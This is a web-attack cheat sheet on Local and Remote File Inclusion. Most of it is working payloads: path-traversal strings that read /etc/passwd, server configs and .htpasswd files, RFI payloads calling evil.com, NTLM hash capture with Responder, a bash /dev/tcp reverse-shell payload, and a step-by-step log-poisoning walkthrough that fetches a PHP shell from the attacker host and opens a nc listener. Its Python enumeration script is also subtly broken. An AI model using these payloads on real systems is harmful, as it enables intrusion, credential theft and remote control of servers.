File Inclusion (LFI/RFI)
Last modified: 2023-05-17
Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that are often found to affect web applications that rely on a scripting run time.
Local File Inclusion (LFI)
?page=../
?page=/etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
?page=..//..//..//..//..//etc/passwd
?page=....//....//....//....//etc/passwd
?page=....//....//....//....//....//....//etc/passwd
?page=../../../../../../../../../../../../../../etc/passwd
?page=..\/..\/..\/..\/etc/passwd
?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=..%5C..%5C..%5C..%5cetc/passwd
?page=..%252f..%252f..%252f..%252fetc/passwd
?page=/etc/passwd&
?page=/etc/passwd%00
?page=/etc/passwd%00.inc
?page=/etc/passwd%00.php
?page=http://localhost/index
?page=http:%5c%5cindex
?page=http:%252f%252findex
?page=somedir/../../../../etc/passwd&ext=
# File scheme
?page=file:///etc/passwd
?page=file:%2F%2F%2Fetc%2Fpasswd
?page=file:%252F%252F%252Fetc%252Fpasswd
?page=file%3A///etc/passwd
?page=file%3A%2F%2F%2Fetc%2Fpasswd
?page=file%3A%252F%252F%252Fetc%252Fpasswd
?page=file://var/www/html/index.php
?page=file://var/www/<subdomain>/index.php
# Host
?page=/etc/hosts
# Cron
?page=/etc/crontab
# Web root
?page=/var/www/html/index.html
?page=/var/www/html/index.php
?page=/var/www/example.com/index.php
?page=/var/www/sudomain/index.php
?page=/var/www/subdomain.example.com/index.php
?page=/var/www/wordpress/index.php
# Apache
?page=/etc/apache2/sites-enabled/000-default.conf
?page=/etc/apache2/sites-enabled/domain.conf
?page=/etc/apache2/sites-enabled/example.com.conf
?page=/etc/apache2/sites-enabled/sub.example.com.conf
?page=/etc/apache2/sites-enabled/sub.conf
?page=/etc/apache2/sites-available/domain.conf
?page=/etc/apache2/sites-available/example.com.conf
?page=/etc/apache2/sites-available/sub.example.com.conf
?page=/etc/apache2/sites-available/sub.conf
?page=/etc/apache2/.htpasswd
?page=/var/log/apache/access.log
?page=/var/log/apache/error.log
?page=/var/log/apache2/access.log
?page=/var/log/apache2/error.log
# Nginx
?page=/var/log/nginx/access.log
?page=/var/log/nginx/error.log
?page=/etc/nginx/nginx.conf
?page=/etc/nginx/conf.d/.htpasswd
?page=/etc/nginx/conf.d/example.com.conf
?page=/etc/nginx/conf.d/example.conf
?page=/etc/nginx/conf.d/subdomain.example.com.conf
?page=/etc/nginx/conf.d/subdomain.conf
?page=/etc/nginx/sites-available/example.com.conf
?page=/etc/nginx/sites-enabled/example.com.conf
?page=/usr/local/nginx/conf/nginx.conf
?page=/usr/local/etc/nginx/nginx.conf
# PHP web conf
?page=/etc/php/x.x/apache2/php.ini
?page=/etc/php/x.x/cli/php.ini
?page=/etc/php/x.x/fpm/php.ini
# BIND
?page=/etc/bind/named.conf
?page=/etc/bind/named.conf.options
?page=/etc/bind/named.conf.local
?page=/etc/bind/named.conf.default-zones
# PHP Filter
?page=php://filter/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=index.php
?page=php://filter/convert.base64-encode/resource=index.php
?page=pHp://filter/convert.base64-encode/resource=index.php
?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
?page=data://text/plain,<?php echo base64_encode(file_get_contents(“index.php”)); ?>
# Windows
?page=../../../../../../../../windows/system32/drivers/etc/hosts
?page=C:/Windows/System32/drivers/etc/hosts
?page=C:/Users/Public/Desktop/desktop.ini
?page=C:/Users/FUZZ/Desktop/desktop.ini # user enumeration
?page=C:/inetpub/wwwroot/
?page=C:/xampp/apache/conf/httpd.conf
?page=C:/xampp/apache/conf/extra/httpd-userdir.conf
?page=C:/xampp/apache/conf/extra/httpd-vhosts.conf
?page=C:/xampp/apache/conf/extra/httpd-xampp.conf
?page=C:/xampp/apache/conf/extra/httpd-ajp.conf
?page=C:/xampp/apache/logs/access.log
?page=C:/xampp/apache/logs/error.log
?page=C:/xampp/cgi-bin/example.cgi
?page=C:/xampp/htdocs/example.com/index.php
?page=C:/xampp/htdocs/sub.example.com/index.php
?page=C:/xampp/phpMyAdmin/index.php
?page=C:/xampp/phpMyAdmin/config.inc.php
Automation
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
ffuf -u http://example.com/?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
Read Process Commands
We can retrieve commands that start processes by enumerating /proc/PID/cmdline.
Create a Python script that enumerates them. We can refer to this blog post’s "This leaves the server vulnerable to Local File Inclusion." section.
# lfi.py
import requests
import time
for i in range(10):
print(f"[+] Trying {i}")
url = "http://example.com/?file=/proc/" + i + "/cmdline"
resp = requests.get(url)
print(resp.content)
time.sleep(1)
Then execute this file.
python3 lfi.py
Remote File Inclusion (RFI)
?page=//evil.com/exploit
?page=%2F%2fevil.com/exploit
?page=%2C%2Cevil.com/exploit
?page=http://evil.com/exploit
?page=http%3A//evil.com/exploit
?page=http%3A%2F%2Fevil%2Ecom/exploit
?page=http%253A%252F%252Fevil%252Ecom/
?page=test@sub.example.com/
Steal NTLM Hashes (Windows)
If the website is hosted on Windows, we may be able to retrieve password hashes using Responder.
In local machine, start responder.
# -I: Interface e.g. eth0, tun0, etc.
sudo responder -I tun0
Then send request to https://example.com/?page=//<local-ip>/test.
Now we may be able to capture the hashes.
If so, we can crack it using JohnTheRipper or Hashcat. Please refer to this page for cracking NTLM.
Remote Code Execution (RCE)
php_filter_chain_generator is CLI that generates payload for PHP filter bypass and allow us to RCE.
Below is the payload for reverse shell.
wget https://raw.githubusercontent.com/synacktiv/php_filter_chain_generator/main/php_filter_chain_generator.py
python3 php_filter_chain_generator.py --chain "<?php system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')?>"
Then copy the output and paste it to the target.
Log Poisoning
1. Check if You Can Access the Apache Log File
# Debian, Ubuntu Linux
/?page=/var/log/apache/access.log
/?page=../../../../var/log/apache/access.log
/?page=/var/log/apache2/access.log
/?page=../../../../var/log/apache2/access.log
# FreeBSD Linux
/?page=/var/log/httpd-access.log
/?page=../../../../var/log/httpd-access.log
# CentOS, Fedora, RedHat Linux
/?page=/var/log/httpd/access_log
/?page=../../../../var/log/httpd/access_log
2. Prepare the Payload for PHP Reverse Shell
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# Edit the values in the payload
$ip = '<attacker-ip>';
$port = 4444;
3. Open Web Server in Local Machine
python -m http.server 80
4. Inject PHP Payload in the User-Agent
Send the GET Request with abusing the User-Agent.
The payload can be uploaded to the /shell.php of the target website.
GET / HTTP/1.1
...
User-Agent: <?php file_put_contents('shell.php', file_get_contents('http://<attacker-ip>/shell.php')); ?>
5. Apply the Injection
Refresh the page /index.php?page=../../../../var/log/apache2/access.log .
6. Open Listener for Reverse Shell
In you local machine, open the listener.
You need to specify the port which you set the section 2.
nc -lvnp 4444
7. Gain Access to Shell
Access to /shell.php of the target website.
If it goes well, you can get a shell.
